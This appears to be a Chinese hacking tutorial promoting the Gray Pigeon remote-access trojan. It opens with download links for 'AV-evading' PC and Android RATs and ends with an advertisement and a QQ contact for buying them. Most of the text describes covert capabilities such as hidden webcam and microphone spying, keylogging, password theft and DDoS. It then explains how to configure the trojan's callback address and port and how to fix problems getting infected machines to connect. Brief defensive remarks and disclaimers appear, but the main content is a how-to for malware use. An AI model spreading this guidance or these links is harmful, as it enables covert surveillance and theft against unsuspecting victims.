黑客技术之灰鸽子远控肉鸡免杀远控下载
大家应该经常看到某某人因为下软件被远程控制(也就是肉鸡)然后各种隐私泄露，密码被改 钱被洗走等等。。。。可谓远控技术也是很强大的！
今天我们就来详细讲解这玩意怎么玩！
下载地址 电脑远程版https://wwbh.lanzn.com/iFSo32snfr9a
下载地址 安卓远控版 https://wwbh.lanzn.com/iPRnx2sng1ja
远程控制技术是黑客必学的技术之一。
远控软件到 黑客兵器库 进行查看
可能很多人没有接触过的认为远程就是qq和向日葵什么的普通控制软件，一个概念很重要，授权和非授权，远程控制不同于远程协助，两者之间有很大的区别。所谓远程协助需要经过被控端的授权允许，并且被控端可以看到控制者的所有操作，使之控制操作透明性；例如我们的QQ远程协助，就需要对方的允许控制进行操作，并且对方也能够看到我们的操作动作，远程协助一般是用来进行远程的计算机操作协助。远程控制则不一样，远程控制只要在被控者电脑安装一个服务端，即可在不知情的情况下进行控制对方计算机以及对计算机其它操作，控制时不需要经过对方的许可就可以控制，而控制时操作的一些动作，对方也无法察觉到。
看到这里是不是就想做坏事，控制自己喜欢的女神的电脑？？？（自己yy），心要善良点，不要总是想着做坏事，有动力的话打算把黑客目前涵盖的所有范围全部知识点都讲解一遍，然后从入门到进阶、到大神。
远程控制按控制类型可以分类为：
（1）正向主动型远程控制 。
（2）反向被动型。
什么是正向主动型的呢？正向主动型是需要控制着主动去连接被控端，一般情况下，控制者必须知道需要被控制者的IP和端口，然后通过某种软件来进行控制被控者，例如微软的3389远程桌面、Radmin远程控制、VNC远程控制都需要知道对方的IP（端口）然后通过客户端软件进行连接对方。
反向被动型控制又可以称为反弹性控制技术，指的是在被控端下安装服务端之后，由被控端主动来寻找你的客户端监听端口软件连接来进行控制，这个好处就是不需要知道对方的IP地址和端口，被控端会自己主动来找我们的监听地址和端口
，当我们发现被控端已经找到
的监听地址和端口，我们就可以控制对方电脑，这样省去要知道对方的IP和端口的麻烦了，特别是对方是动态IP的时候。
反向被动型远控在黑客界已经是主流了，黑客专门使用某些控制软件在控制对方，反弹型远控软件更是数不胜数，例如：灰鸽子、白金、终结者、Ghost 、上兴 、大白鲨等等，现在可能还有更多的软件或者vip小组自行研发的都有很多的，这里就不一一介绍了，基础的功能都差不多，没什么太大的影响，对一般的控制端来说功能已经是非常强大了，后面有具体说明。
远程控制软件的功能与远控木马的特性
我们这里主要讲解的是反弹型远控，并且也有讲解到Web型的正向型远控，正向型远控，现在的远程控制软件（又称客户端，生成出的木马叫服务端）数不胜数，甚至很多已经是源码爆出，自己可以随便找几个去下载试试功能，自己去下载的软件最好到虚拟机里头测试，特别是小白什么都不懂的，不管现在的是不是黑客软件都有不同程度的捆绑全家桶。
接下来讲点主要的功能，对于各种远程控制软件来说，其实基本都是具备以下功能：
【屏幕监控】：可以查看被控制者的屏幕，保存捕获的被控制屏幕的截图。并且看到对方的一切操作，可以自由选定图像位色查看，还可以选择是否控制对方鼠标、键盘，若选择即可控制对方的电脑鼠标、键盘，这一控制对方是可以看到鼠标被控制。（如果没有摸清楚目标的习性，不要随意开始控制对方的鼠标，这个对方如果在自己屏幕面前不受控制是会察觉的）
这里强调一下，如果你是被控端，被别人控制了，这个程序是会在运行的，打开任务管理器，有点基础的可以分析出哪个程序有问题立即结束，或者立刻重启电脑进行杀毒或者重装系统。
【文件管理】：可以在后台查看被控者的各个磁盘中的文件，直接显示隐藏文件，可自由在对方的磁盘中删除文件、上传文件、下载文件、重命名文件、远程显示打开文件、远程隐藏打开文件、复制文件、粘贴文件、新建文件夹等功能。（比你自己操作电脑还要方便，你都没有察觉的）
【视频监控】：如果对方有视频，即可暗中开启对方视频监控到对方人、环境等一切。
（这个所以一定注意的，黑客都从来不打开自己摄像头驱动或者摄像头都是蒙住的，女孩子一定得注意！！！）
【语音监听】：如果对方已经插上麦，此功能即可通过对方的麦暗中监听到对方说话的声音。
【键盘记录】：可以记录对方键盘的一切操作，可执行离线记录，即不打开该功能也能随时记录，有些还可以IE密码记录。（盗取你的账号就是这么来的，记得原来在网吧盗号的那种，记录键盘的，有的跟优盘差不多的插到电脑机箱后面，然后就盗你账号咯，自己要有防范意识，了解这些，不要觉得我啰嗦，是有这种事发生的，现在可能比较少了）
【系统信息查看】：可以查看对方的外网IP地址，内网IP地址、系统版本、电脑配置、上线时间等。
【注册表编辑器】：可以查看对方计算机的注册表和修改对方注册表的键值等操作。
【超级终端】：又称Telnet，即远程CMD，可以使用远程主机的cmshell进行各种CMD命令的操作。
【系统管理】：可以查看对方电脑的进程管理器，可任意结束进程。也可以查看对方窗口信息，随意结束某个窗口，有些远程控制软件还可以查看对方的宽带账号密码、软件信息等。
【服务管理】：可以查看对方的系统服务列表和开启状态，可随意停止和开启对方的某个服务。
【代理映射】：可以开启远程计算机IP代理，把远程主机映射到本机作为代理。使用远程计算机IP和端口进行代理上网。
【会话管理】：可以重启、注销、关机远程计算机，还可以断开远程主机的连接或者卸载远程主机的服务端。
【共享与剪贴板】：可以查看远程主机的共享文件，剪贴板功能可查看远程主机剪贴板中的文本信息。
【弹窗下载】：可以发送某段消息给远程主机，远程主机即会弹出对话框显示，下载执行可以通过后台打开对方的IE进行浏览某个网站或者执行下载木马等。
【DDOS】：某些远程控制软件拥有该功能，可以随意选择在线肉鸡，以肉鸡作为流量来进行DDOS、CC攻击网站等操作。
【配置服务端】：即配置木马，每个远控软件都有，通过自己选择某些参数配置一个反弹型服务端（木马）。
以上讲解的都是远程控制软件的常见功能，可能有些远控软件有其中功能或者更多功能，这里就只讲这么多咯，被控制了，你电脑基本上就不属于你了，你也不会知道有多危险，学习一定要知道攻防，你用别人的软件，别人就有可能留后门，记得那时候的冰河，就看你做不做坏事，很简单的一条衡量标准，我写文章的目的也不是教大家去做坏事！！！谨记！不要太过分！
泼一盆冷水给大家，现在的杀毒软件基本上对一般的脚本小子，生成的垃圾木马直接秒杀，不要小看，我这里也暂时不会讲如果做高级木马，只是说整个流程和技术原理，小白也没必要太过于担心，但是网络安全意识也必须得了解。
下面给大家讲解下远程控制所生成的木马，远控软件生成的木马又被称为后门木马，一般它只要对方点击了该木马，木马就立即分析木马本身的IP配置等信息，向主控端发送TCP连接请求，当发现主控端在线即上线在主控端的远程控制软件上。
一般远程控制软件的木马有以下几种特点：
（如何被感染的，方法很多）
①：模仿系统进行运行在内存中。有的可能使用Rootkit技术隐藏进程。
②：通过DLL注入在某个正常进程中。
③：通过替换系统正常程序来运行在内存中。
④：木马会创建服务到系统服务中，并且设置为自启动类型。
⑤：木马会残留在C盘或者感染C盘某个正常DLL文件。
⑥：木马会写入自启动项，使之远程主机开机运行木马。
⑦：木马运行后每三十几秒向主控端发起连接请求。若找到对应IP和端口则建立连接。
上述所说的就是常见的远控木马特性，一般来说远控木马并不带有恶性行为，即不存在格式化磁盘、破坏电脑硬件或删除Windows重要文件等恶意操作。
灰鸽子可以说是一代人的记忆了，现在的功能可能比不上更新后的远程控制，我也不点名了，就直接说灰鸽子（代表目前所有的远控软件）。
灰鸽子支持固定IP上线、动态域名上线 方法。
必须了解木马上线的原理。当我们的木马在A电脑上运行后，只要A电脑一旦连接网络，那么木马就会通过之前配置好的连接IP和端口向我们的主控端发起连接请求，一旦连接木马配置中的IP和端口成功，主控端就可以看到肉鸡上线了，此时就可以进行远程控制肉鸡了。
我们举例说，比如配置了一个木马的上线地址为：192.168.1.100，那么该木马放到某台连接互联网的计算机中运行后，木马会不停地向IP为 192.168.1.100 的主机发起连接，只要该IP电脑上运行了灰鸽子软件，就会显示肉鸡上线了，那么就可以轻易控制被控端了！
固定IP上线不适合于普通用户使用，因为大家的IP一般都是动态IP，即计算机重启后外网IP会不停地变动，特别对于宽带拨号的用户来说，一旦断开宽带连接，再重新拨号，公网IP地址又变了。这样木马就只能上线一次，就是说目标只能控制在线的时候。
例如：我们配置木马的上线IP为192.168.1.100，那么木马就会始终向IP为：192.168.1.100 的计算机发起连接请求，假设我们这一次电脑是这个IP。
我们电脑重启了的话IP发生变化，或者断线重新拨号，变成 192.168.1.101 ，那么木马又如何能向我们现在的IP发起连接请求呢？所以固定IP一般不适用于普通用户，而它却适用某些服务器上线，因为很多服务器的IP都是固定IP，向ISP运营商申请的固定IP，无论重启多少次，IP始终保持不变，那么我们在该固定IP的服务器上配置木马，由于服务器IP始终是不变，我们下次重启计算机再在该服务器上打开灰鸽子软件也能看到肉鸡的上线。
固定IP上线原理就是这么简单，仅仅适用于固定IP的用户，配置方法是：先打开灰鸽子的——配置服务端。上线地址中填写我们的固定IP，可以通过百度“IP”得到我们的外网IP.如果端口修改后必须添加端口，形式为〈IP地址：端口〉，灰鸽子默认端口是8000端口，我们如果不修改就直接填写固定IP，其它的进行隐藏、选择木马图标、自动删除、上线备注、连接密码可按需设置。最后选择“生成服务端”木马就生成出来了。这里我就假设我现在的外网IP为固定IP。因为只有外网IP才有连接因特网的通讯能力。
稍微认真点理解一下，并不复杂，觉得麻烦的自己直接找软件上手就是，但是关于远控上线会遇到的问题可能有很多，我这里一篇文章也没办法解决那么多，所以先把基础学完在到进阶，自己也要学会找路子，有思路解决。静态ip的比较死，针对普通pc用户很难多次的控制。
灰鸽子无法上线的常见问题：
问：为什么我在虚拟机使用灰鸽子，总是不会上线呢？
答：某些灰鸽子软件通过查壳可能会发现加了PE的壳导致在虚拟机上线的限制，软件损坏，插件丢失的问题，换一款远控就可以了。
问：为什么我的灰鸽子做了映射还是不上线呢？
答：你的灰鸽子确定做了监听端口的映射？你换端口了记得做多少端口，做端口映射填写的是你本地内网IP，如果正确那么请你停止你的防火墙，因为有时即使做了映射防火墙也会拦截你映射端口的的数据包，自己本地做了防护的都要取消掉，不然会被拦截，无法上线。
问：为什么我的灰鸽子打开后提示端口监听失败？
答：这很明显就是你的监听端口被占用了，可以使用netstat -ano查看下是哪个ID占用了灰鸽子的监听端口，如果占用了那么就更换一个未使用的监听端口，更换后内网需要映射的映射的端口也要记得改，不同的端口有不同的功能。（自己做为目标如何防御，关闭电脑自己不常用的端口）
问：为什么我用FTP上线总是上线不呢？
答：可以在虚拟机测试，看看点击配置为FTP上线木马的连接请求是不是先与你的FTP连接，如果是断开状态，很明显你的免费FTP空间不稳定，建议更换国外主机或者收费的FTP主机。或者仔细查看下你FTP空间IP.txt的内容。
问：为什么我的域名更新了，配置的灰鸽子还是不上线？
答：还是域名的问题，免费域名比较麻烦，可能导致无法上线，最好自己用顶级域名，你先确定你现在的公网IP，然后再通过Ping命令Ping一下你的域名，看看得到的IP是不是你公网的IP，如果不是说明域名不稳定，更新IP速度太慢了，请不断去更新，直到Ping出的 IP是你现在的公网IP。
问：为什么我配置出的灰鸽子总是上不了线？
答：请尝试是否做了端口筛选，然后就是防火墙是否停止，还有就是如果是内网用户看看是否内网其它用户也在使用8000端口，如果是则更换监听端口，并且不与局域网的映射端口冲突就可！
网络安全极其重要，尤其是近两年，在早些时候，网络的防御几乎如纸窗一般，那时候大批的脚本小子也趁虚而入，许多数据都被盗取，而这时白帽子一词便也问世。同理的利用同样技术的另一对面的便是黑帽，在我看来并没有所谓的好坏一分，如果黑客与骇客一般，只看你自己如何理解，也不要给自己贴上所谓的标签。
网络世界比真实世界更浩淼，更繁复。正义的光芒难以照射这个空间的一切折痕沟回。更多的时候，这像一个黑暗的森林，我们需要用武器来武装自己，对抗黑暗中侵袭而来的枪弹。网络世界如何保护自己和身边的人？跟我一起走进黑客世界 。
诚然，很多人想到黑客，就会联想到高超的技术。但是，当你真正了解到赛博世界殊死搏斗的真相，你就会理解，对于黑客的最高褒赏，并不是攻城略地的高超技术，而是不战而屈人之兵的闪光智慧。
Chinese 
English
2025免杀远控下载Qq204013520